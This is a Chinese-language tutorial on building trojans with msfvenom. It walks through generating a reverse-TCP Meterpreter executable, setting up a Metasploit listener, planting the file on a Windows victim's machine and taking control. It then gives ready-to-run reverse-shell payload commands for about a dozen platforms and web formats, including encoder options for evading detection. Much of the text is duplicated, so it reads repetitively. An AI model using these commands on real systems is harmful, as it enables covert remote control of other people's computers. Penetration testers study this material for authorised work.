目录
一、简介:
二、命令参数
三、使用方法:
3.1、第一步:生成shell.exe
3.2、第二步:设置监听
3.3、第三步:将shell.exe植入到windows运行
3.4、第四步:get到了
四、生成shellcode
4.1、普通生成
4.2、编码生成
五、生成格式
5.1、 Windows
5.2、Linux
5.3、Mac
5.4、Android
5.5、Aspx
5.6、JSP
5.7、PHP
5.8、BASH
5.9、Python
5.10、War
5.11、Perl
5.12、Asp
一、简介:
msfvenom是msfpayload,msfencode的结合体
可利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线
二、命令参数
选项:
-l, --list # 列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, platforms, archs, encrypt, formats等等
-p, --payload # 指定特定的 Payload,如果被设置为 - ,那么从 标准输入流中读取
--list-options # 列出--payload 的标准,高级和规避选 项
-f, --format # 指定 Payload 的输出格式(使用 --list formats 列出)
-e, --encoder # 指定使用的 Encoder (使用 --list encoders 列出)
--sec-name # 生成大型Windows二进制文件时使用的新名称。默认 值:随机4个字符的字符串
--smallest # 使用所有可用的编码器生成最小的payload
--encrypt # 应用于shellcode的加密或编码类型 (使用--list encrypt 列出)
--encrypt-key # 用于加密的密钥
--encrypt-iv # 加密的初始化向量
-a, --arch # 指定目标系统架构(使用 --list archs 列出)
--platform # 指定目标系统平台 (使用 --list platforms 列 出)
-o, --out # 保存payload文件
-b, --bad-chars # 设置需要在 Payload 中避免出现的字符,如: 'x00xff'
-n, --nopsled # 指定 nop 在 payload 中的数量
-s, --space # 设置未经编码的 Payload 的最大长度
--encoder-space # 编码后的 Payload 的最大长度
-i, --iterations # 设置 Payload 的编码次数
-c, --add-code # 指定包含一个额外的win32 shellcode文件
-x, --template # 指定一个特定的可执行文件作为模板
-k, --keep # 保护模板程序的功能,注入的payload作为一个新的 进程运行
-v, --var-name # 指定一个变量名(当添加 -f 参数的时候,例如 -f python,那么输出为 python 代码, payload 会被按行格式化为 python 代码,追加到 一个 python变量中,这个参数即为指定 python 变量的变量名)
-t, --timeout # 设置从STDIN读取payload的等待时间(默认为 30,0为禁用)
-h, --help # 帮助
三、使用方法:
(以Windows为例)
3.1、第一步:生成shell.exe
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.190.131 LPORT=9999 -f exe -o /root/shell.exe
(还可以加上 -e 加上编码器……)
msfvenom是msfpayload,msfencode的结合体
可利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线
选项:
-l, --list # 列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, platforms, archs, encrypt, formats等等
-p, --payload # 指定特定的 Payload,如果被设置为 - ,那么从 标准输入流中读取
--list-options # 列出--payload 的标准,高级和规避选 项
-f, --format # 指定 Payload 的输出格式(使用 --list formats 列出)
-e, --encoder # 指定使用的 Encoder (使用 --list encoders 列出)
--sec-name # 生成大型Windows二进制文件时使用的新名称。默认 值:随机4个字符的字符串
--smallest # 使用所有可用的编码器生成最小的payload
--encrypt # 应用于shellcode的加密或编码类型 (使用--list encrypt 列出)
--encrypt-key # 用于加密的密钥
--encrypt-iv # 加密的初始化向量
-a, --arch # 指定目标系统架构(使用 --list archs 列出)
--platform # 指定目标系统平台 (使用 --list platforms 列 出)
-o, --out # 保存payload文件
-b, --bad-chars # 设置需要在 Payload 中避免出现的字符,如: 'x00xff'
-n, --nopsled # 指定 nop 在 payload 中的数量
-s, --space # 设置未经编码的 Payload 的最大长度
--encoder-space # 编码后的 Payload 的最大长度
-i, --iterations # 设置 Payload 的编码次数
-c, --add-code # 指定包含一个额外的win32 shellcode文件
-x, --template # 指定一个特定的可执行文件作为模板
-k, --keep # 保护模板程序的功能,注入的payload作为一个新的 进程运行
-v, --var-name # 指定一个变量名(当添加 -f 参数的时候,例如 -f python,那么输出为 python 代码, payload 会被按行格式化为 python 代码,追加到 一个 python变量中,这个参数即为指定 python 变量的变量名)
-t, --timeout # 设置从STDIN读取payload的等待时间(默认为 30,0为禁用)
-h, --help # 帮助
三、使用方法:
(以Windows为例)
3.1、第一步:生成shell.exe
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.190.131 LPORT=9999 -f exe -o /root/shell.exe
(还可以加上 -e 加上编码器……)
(以Windows为例)
3.1、第一步:生成shell.exe
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.190.131 LPORT=9999 -f exe -o /root/shell.exe
(还可以加上 -e 加上编码器……)
3.2、第二步:设置监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.190.131
set LPORT 9999
run
处于等待状态了
3.3、第三步:将shell.exe植入到windows运行
各显神通……
然后等待监听状态
就会监听到运行shell.exe的电脑
3.4、第四步:get到了
执行各种……
四、生成shellcode
4.1、普通生成
msfvenom -p 有效载荷 -f 输出格式 -o 输出文件
msfvenom -p windows/meterpreter/reverse_tcp -f exe -o /root/payload.exe
4.1、普通生成
msfvenom -p 有效载荷 -f 输出格式 -o 输出文件
msfvenom -p windows/meterpreter/reverse_tcp -f exe -o /root/payload.exe
4.2、编码生成
msfvenom -a 系统架构 --platform 系统平台 -p 有效载荷 lhost=攻击机IP lport=攻击机端口 -e 编码方式 -i编码次数 -f 输出格式 -o 输出文件
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.190.131 lport=8888 -i 3 -e x86/shikata_ga_nai -f exe -o /root/payload.exe
五、生成格式
5.1、 Windows
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -i 3 LHOST=192.168.190.131 lport=4444 -e x86/shikata_ga_nai -f exe -o /root/payload.exe
5.2、Linux
msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp lhost=192.168.190.131 lport=4444 -f elf -o /root/payload.elf
5.3、Mac
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp lhost=192.168.190.131 port=4444 -f macho -o payload.macho
5.4、Android
msfvenom -p android/meterpreter/reverse_tcp -o /root/payload.apk
5.5、Aspx
msfvenom --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.190.131 lport=4444 -f aspx -o /root/payload.aspx
5.6、JSP
msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.190.131 lport=4444 -f raw -o /root/payload.jsp
5.7、PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.190.131 lport=4444 -f raw -o /root/payload.php
5.8、BASH
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.190.131 lport=4444 -f raw -o /root/shell.sh
5.9、Python
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.190.131 port=4444 -f raw -o /root/shell.py
5.10、War
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.131 lport=4444 -f war
5.11、Perl
msfvenom -p cmd/unix/reverse_perl lhost=192.168.190.131 lport=4444 -f perl
5.12、Asp
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.190.131 port=4444 -f asp
5.1、 Windows
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -i 3 LHOST=192.168.190.131 lport=4444 -e x86/shikata_ga_nai -f exe -o /root/payload.exe
5.2、Linux
msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp lhost=192.168.190.131 lport=4444 -f elf -o /root/payload.elf
5.3、Mac
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp lhost=192.168.190.131 port=4444 -f macho -o payload.macho
5.4、Android
msfvenom -p android/meterpreter/reverse_tcp -o /root/payload.apk
5.5、Aspx
msfvenom --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.190.131 lport=4444 -f aspx -o /root/payload.aspx
5.6、JSP
msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.190.131 lport=4444 -f raw -o /root/payload.jsp
5.7、PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.190.131 lport=4444 -f raw -o /root/payload.php
5.8、BASH
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.190.131 lport=4444 -f raw -o /root/shell.sh
5.9、Python
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.190.131 port=4444 -f raw -o /root/shell.py
5.10、War
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.131 lport=4444 -f war
5.11、Perl
msfvenom -p cmd/unix/reverse_perl lhost=192.168.190.131 lport=4444 -f perl
5.12、Asp
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.190.131 port=4444 -f asp



